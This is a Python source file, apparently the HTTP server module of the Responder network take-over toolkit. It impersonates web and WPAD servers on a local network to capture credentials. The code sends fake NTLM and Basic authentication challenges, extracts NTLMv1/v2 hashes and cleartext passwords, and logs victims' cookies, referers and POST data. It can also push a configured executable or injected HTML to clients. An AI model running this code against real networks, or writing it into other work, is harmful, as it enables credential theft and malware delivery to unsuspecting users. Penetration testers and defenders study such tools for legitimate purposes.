313 lines
10 KiB
Python
313 lines
10 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import struct
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from SocketServer import BaseRequestHandler, StreamRequestHandler
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from base64 import b64decode
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from utils import *
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from packets import NTLM_Challenge
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from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
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from packets import WPADScript, ServeExeFile, ServeHtmlFile
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# Parse NTLMv1/v2 hash.
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def ParseHTTPHash(data, Challenge, client, module):
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LMhashLen = struct.unpack('<H',data[12:14])[0]
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LMhashOffset = struct.unpack('<H',data[16:18])[0]
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LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[20:22])[0]
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NthashOffset = struct.unpack('<H',data[24:26])[0]
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NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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UserLen = struct.unpack('<H',data[36:38])[0]
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UserOffset = struct.unpack('<H',data[40:42])[0]
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User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
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if NthashLen == 24:
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HostNameLen = struct.unpack('<H',data[46:48])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
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SaveToDb({
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'module': module,
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'type': 'NTLMv1',
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'client': client,
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'host': HostName,
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'user': User,
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'hash': LMHash+":"+NTHash,
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'fullhash': WriteHash,
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})
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if NthashLen > 24:
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NthashLen = 64
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DomainLen = struct.unpack('<H',data[28:30])[0]
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DomainOffset = struct.unpack('<H',data[32:34])[0]
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Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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HostNameLen = struct.unpack('<H',data[44:46])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
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SaveToDb({
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'module': module,
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'type': 'NTLMv2',
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'client': client,
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'host': HostName,
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'user': Domain + '\\' + User,
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'hash': NTHash[:32] + ":" + NTHash[32:],
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'fullhash': WriteHash,
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})
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def GrabCookie(data, host):
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Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
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if Cookie:
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Cookie = Cookie.group(0).replace('Cookie: ', '')
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if len(Cookie) > 1 and settings.Config.Verbose:
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print text("[HTTP] Cookie : %s " % Cookie)
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return Cookie
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return False
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def GrabHost(data, host):
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Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
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if Host:
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Host = Host.group(0).replace('Host: ', '')
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if settings.Config.Verbose:
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print text("[HTTP] Host : %s " % color(Host, 3))
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return Host
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return False
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def GrabReferer(data, host):
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Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
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if Referer:
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Referer = Referer.group(0).replace('Referer: ', '')
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if settings.Config.Verbose:
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print text("[HTTP] Referer : %s " % color(Referer, 3))
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return Referer
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return False
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def SpotFirefox(data):
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UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
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if UserAgent:
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print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))
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IsFirefox = re.search('Firefox', UserAgent[0])
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if IsFirefox:
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print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
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print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
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return True
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else:
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return False
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def WpadCustom(data, client):
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Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
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if Wpad and SpotFirefox(data):
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Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
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Buffer.calculate()
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return str(Buffer)
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if Wpad and SpotFirefox(data) == False:
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Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
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Buffer.calculate()
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return str(Buffer)
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return False
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def IsWebDAV(data):
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dav = re.search('PROPFIND', data)
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if dav:
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return True
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else:
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return False
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def ServeOPTIONS(data):
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WebDav= re.search('OPTIONS', data)
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if WebDav:
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Buffer = WEBDAV_Options_Answer()
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return str(Buffer)
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return False
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def ServeFile(Filename):
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with open (Filename, "rb") as bk:
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return bk.read()
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def RespondWithFile(client, filename, dlname=None):
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if filename.endswith('.exe'):
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Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
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else:
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Buffer = ServeHtmlFile(Payload = ServeFile(filename))
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Buffer.calculate()
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print text("[HTTP] Sending file %s to %s" % (filename, client))
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return str(Buffer)
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def GrabURL(data, host):
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GET = re.findall(r'(?<=GET )[^HTTP]*', data)
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POST = re.findall(r'(?<=POST )[^HTTP]*', data)
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POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
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if GET and settings.Config.Verbose:
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print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
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if POST and settings.Config.Verbose:
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print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
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if len(''.join(POSTDATA)) > 2:
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print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
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# Handle HTTP packet sequence.
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def PacketSequence(data, client, Challenge):
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NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
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Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
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# Serve the .exe if needed
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if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
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return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
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# Serve the custom HTML if needed
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if settings.Config.Serve_Html:
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return RespondWithFile(client, settings.Config.Html_Filename)
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WPAD_Custom = WpadCustom(data, client)
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# Webdav
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if ServeOPTIONS(data):
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return ServeOPTIONS(data)
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if NTLM_Auth:
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Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
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print "Challenge 2:", Challenge.encode('hex')
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if Packet_NTLM == "\x01":
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GrabURL(data, client)
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GrabReferer(data, client)
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GrabHost(data, client)
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GrabCookie(data, client)
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Buffer = NTLM_Challenge(ServerChallenge=Challenge)
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Buffer.calculate()
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Buffer_Ans = IIS_NTLM_Challenge_Ans()
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Buffer_Ans.calculate(str(Buffer))
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return str(Buffer_Ans)
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if Packet_NTLM == "\x03":
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NTLM_Auth = b64decode(''.join(NTLM_Auth))
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if IsWebDAV(data):
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module = "WebDAV"
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else:
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module = "HTTP"
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ParseHTTPHash(NTLM_Auth, Challenge, client, module)
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if settings.Config.Force_WPAD_Auth and WPAD_Custom:
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print text("[HTTP] WPAD (auth) file sent to %s" % client)
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return WPAD_Custom
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else:
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return str(Buffer)
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elif Basic_Auth:
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ClearText_Auth = b64decode(''.join(Basic_Auth))
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GrabURL(data, client)
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GrabReferer(data, client)
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GrabHost(data, client)
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GrabCookie(data, client)
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SaveToDb({
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'module': 'HTTP',
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'type': 'Basic',
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'client': client,
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'user': ClearText_Auth.split(':')[0],
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'cleartext': ClearText_Auth.split(':')[1],
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})
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if settings.Config.Force_WPAD_Auth and WPAD_Custom:
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if settings.Config.Verbose:
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print text("[HTTP] WPAD (auth) file sent to %s" % client)
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return WPAD_Custom
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else:
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return str(Buffer)
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else:
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if settings.Config.Basic:
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Response = IIS_Basic_401_Ans()
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if settings.Config.Verbose:
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print text("[HTTP] Sending BASIC authentication request to %s" % client)
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else:
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Response = IIS_Auth_401_Ans()
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if settings.Config.Verbose:
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print text("[HTTP] Sending NTLM authentication request to %s" % client)
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return str(Response)
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# HTTP Server class
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class HTTP(BaseRequestHandler):
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def handle(self):
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try:
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Challenge = RandomChallenge()
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while True:
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self.request.settimeout(3)
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remaining = 10*1024*1024 #setting max recieve size
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data = ''
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while True:
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buff = ''
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buff = self.request.recv(8092)
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if buff == '':
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break
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data += buff
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remaining -= len(buff)
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if remaining <= 0:
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break
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#check if we recieved the full header
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if data.find('\r\n\r\n') != -1:
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#we did, now to check if there was anything else in the request besides the header
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if data.find('Content-Length') == -1:
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#request contains only header
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break
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else:
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#searching for that content-length field in the header
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for line in data.split('\r\n'):
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if line.find('Content-Length') != -1:
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line = line.strip()
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remaining = int(line.split(':')[1].strip()) - len(data)
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#now the data variable has the full request
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Buffer = WpadCustom(data, self.client_address[0])
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if Buffer and settings.Config.Force_WPAD_Auth == False:
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self.request.send(Buffer)
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self.request.close()
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if settings.Config.Verbose:
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print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
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else:
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Buffer = PacketSequence(data,self.client_address[0], Challenge)
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self.request.send(Buffer)
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except socket.error:
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pass
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